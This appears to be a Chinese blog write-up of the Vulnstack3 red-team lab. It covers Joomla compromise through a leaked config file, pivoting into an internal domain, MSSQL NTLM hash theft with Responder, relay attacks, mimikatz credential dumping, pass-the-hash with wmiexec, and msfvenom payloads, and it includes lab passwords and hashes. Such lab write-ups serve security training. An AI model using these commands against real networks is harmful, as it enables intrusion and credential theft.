Vulnstack3靶场内网渗透
环境搭建
需要添加一张192.168.93.0/24网段的内网网卡
若是kali用的Nat模式这里不要勾选“将主机虚拟适配器连接到此网络”,若是桥接模式则勾选
拓扑图
打靶
先用nmap进行探针nmap 192.168.184.0/24
探测到在192.168.184.137地址开有web服务
访问如下,发现是Joomla的CMS
利用msf的auxiliary/scanner/http/joomla_version
模块探测Joomla版本,发现是3.9.12版本的
这就有点棘手了,因为版本很新,网上都是3.4、3.5之类的漏洞,看来是没法直接用,于是去找登录点看看有没有弱口令
有两处登录点,一个是前台http://192.168.184.137/index.php/author-login
另一个是后台http://192.168.184.137/administrator/index.php
(robots.txt中找到的路径)
但是都不存在弱口令,呜呜😭
没辙了等着爆破密码,摆烂了一会儿
这个靶场是和小伙伴一起打的,在我摆烂的时候,小伙伴用dirsearch扫了一下目录,扫出来了一个configuration.php~
文件,里面有mysql数据库用户名和密码testuser/cvcvgjASD!@
,我直呼牛B!!(害,懒了一下没去扫目录,不能懒啊!)
直接用Navicat登录成功,查看umnbt_users
表,获得用户名密码admin/$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy
这里密码加了密,没办法直接用,去somd5也没有解出来,提示此密文无法识别,真·脑阔疼,又无从下手了
这里我想用mysql直接写shell,但是查了文章说需要root权限,完了没辙了,开摆!
这里实在是不会,就去看了一眼攻略,可以自行添加用户进行登录
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
所以这里payload如下
1 | INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) |
这里有个小坑,我之前找的_users表没找对,umnbt_users
不是后台登录的校验表,am2zu_users
才是,我之间对着umnbt_users表一顿输出,一直登陆不上,后来才发现表弄错了,真的是烦!
然后终于用admin2/secret登录上了后台
用冰蝎连shell发现disable_fuction把命令执行函数都给禁用了,然后采用哥斯拉的bypass命令执行成功
接下来可以利用如下命令做信息收集
1 | uname -a # 获取所有版本信息 |
这里遇到一个奇怪的地方,当执行ifconfig查看网卡的时候没有之前192.168.184.137这个ip,出现了一个没见过的ip地址192.168.93.120,但我并没有93这个网段的网卡应该是到不了的
这里着实不理解,就去网上看wp了
原来,之前的184.137这台主机并不是真正的web服务器,93.100这台才是,这里是93.100这台web服务器利用184.137这台服务器做了反向代理,在后续渗透查看配置文件的时候也能证明。
网上查找资料说这样做反向代理的目的可以隐藏服务端真实ip,另外还说反向代理可以实现负载均衡
之后根据wp的提示在/tmp/mysql/test.txt中发现了一组用户名密码:wwwuser/wwwuser_123Aqx,猜测应该就是192.168.184.137这台主机ssh的用户和密码。
尝试ssh登录成功,ifconfig查看网卡有192.168.184.137和192.168.93.100这两个ip
并且在/etc/nginx/nginx.conf文件中查到如下信息,也证明了之前的说法(93.100这台web服务器利用184.137这台服务器做了反向代理)
接下来就是搭代理打内网,看网上文章都在用脏牛提权,我感觉没必要提权也能打内网
这里ew,ssh代理都可以,我选择简单的ssh动态代理ssh -CfNg -D 1080 wwwuser@192.168.184.137
,结合proxifier对内网进行渗透
这里可以直接访问到内网地址说明代理成功
接下来就用fscan进行扫描fscan64.exe -h 192.168.93.1/24 -np -o fscan_result/result93.txt
(-np需要加上,因为直接ping不通),发现内网还有10、20、30这三台主机
再用nmap进行更全面的端口扫描
1 | nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F |
发现存在域test.org
,域控为93.10这台服务器,那么接下来的目标就是拿下域控了
进一步的渗透测试交到MSF上进行
1 | # 利用msf生成一个木马,上传到184.137上执行 |
添加路由如下
1 | # 添加路由 |
添加成功后,利用msf在本地开启socks代理
1 | use auxiliary/server/socks_proxy |
代理开好后配置/etc/proxychains4.conf文件方便后续使用proxychans4
后面都是参考wp的了,结果还没搞出来,可能是环境问题,只能强行写一下了,记录一下
有几个打法:SMB爆破、MSSQL NTLM Stealer、NTLM Relay。
SMB爆破
这里是直接根据wp在字典里加的密码,QAQ
MSSQL NTLM Stealer
前面探测到192.168.93.20
这台机开启了1433
端口,尝试进行连接。账号密码则使用前面Joomla CMS
那个配置文件中收集到的:testuser / cvcvgjASD!@
1 | apt-get install freetds-bin |
可以登录
接下来就是在93.100这台服务器上搭建Responder环境
首先下载下面几个工具,
OpenSSL: https://www.openssl.org/source/openssl-1.1.1g.tar.gz
Python3: https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
Responder: https://github.com/lgandx/Responder
1 | # 安装如下 |
运行Responder
1 | $ python3 Responder.py -I eth1 -Pv |
Kali中使用auxiliary/admin/mssql/mssql_ntlm_stealer
,执行xp_dirtree
,触发UNC
配合xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash值,原理是通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们,我们通过破解它的凭证在返回登录MSSQL,得到最高权限具体操作
1 | msf6> use auxiliary/admin/mssql/mssql_ntlm_stealer |
利用成功,此时可以看到已经获取到了NTLMv2-Hash
1 | [MSSQL] Received connection from ::ffff:192.168.93.20 |
得到NTLMv2后,可以利用hashcat暴力破解
1 | # 查看支持的Mode,这里NTLMv2的Mode为5600 |
1 | # 破解 |
这里其实是把wp里的密码加到字典才爆出来的
NTLM Relay
MultiRelay中继攻击
没爆破出来可以尝试中继Win2008打Win7,发现Win2008的administrator凭据可以中继到Win7,所以可知Win2008和Win7的本地administrator密码相同。参考:https://xz.aliyun.com/t/6988#toc-4
运行前需要编译相关工具,这里我在kali完成编译再传到93.100服务器
1 | $ apt-get install gcc-mingw-w64-x86-64 |
接下来展开中继攻击
所谓中继攻击,就是在两个合法参与方A和B之间进行的一种攻击,中间人C篡改A的消息发送给B或将B的消息篡改发送给A。 C这样做的目的是为了获得A或B的特权,这样C就可以把A的钱通过B的非接触式终端盗走。
1 | # 在93.100服务器执行 |
可惜我本地测没有成功,说目标没有这个凭证
所以接下来的步骤都是照抄wp的,太菜了QAQ
此时已经获取到Win7的Shell了,然后使用mimikatz
抓取明文密码。
1 | mimikatz "privilege::debug" |
还可以通过dump
来获得NTLM Hash
,存储在Responder/tools/MultiRelay/relay-dumps
目录下
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337::: |
然后就可以用wmiexec来连接到93.20
1 | # git clone https://github.com/SecureAuthCorp/impacket |
这里还是照着答案测了一下,终于拿下了一个windows服务器😭
攻域控
方式一
未知Win2008明文密码,使用NTLM Hash通过WMI连接到Win2008,然后获取正向Shell,通过进程迁移提权后读取文件
MSF生成一个正向shell木马,并开启监听
1 | $ msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind.exe |
然后将生成的正向马传到93.100上(这里利用scp上传),并在93.100上开启http服务
1 | # kali中ssh连接配置 |
然后通过之间WMI连接的93.20的shell,下载传到93.100上bind.exe马,并执行
1 | $ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20 |
上线之后执行ps
,发现存在域管用户的进程,进程迁移
1 | meterpreter> ps |
迁移成功
接下来就可以读取域控的文件了
1 | $ type \\192.168.93.10\C$\Users\Administrator\Documents\flag.txt |
方式二
已知Win2008明文密码,使用mimikatz抓取域管密码,然后通过IPC连接域控读取文件
上传mimikatz。使用smbclient
连接并上传
1 | $ proxychains4 smbclient -L 192.168.93.20 -U administrator |
执行mimikatz,获得TEST\administrator
密码:zxcASDqw123!
1 | cd c:/windows |
最后IPC连接到域控读取文件
1 | $ net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator |
获得密码后其实这里可以用之前的方法,用WMI直接登录上域控93.10
1 | proxychains4 python3 wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10' |
参考
Vlunstack ATT&CK实战系列——红队实战(三)Writeup
nginx正向和反向代理的区别–本质上代理服务器还是那个代理服务器,如果替客户端干活就是正向代理,如果替服务端干活就是反向代理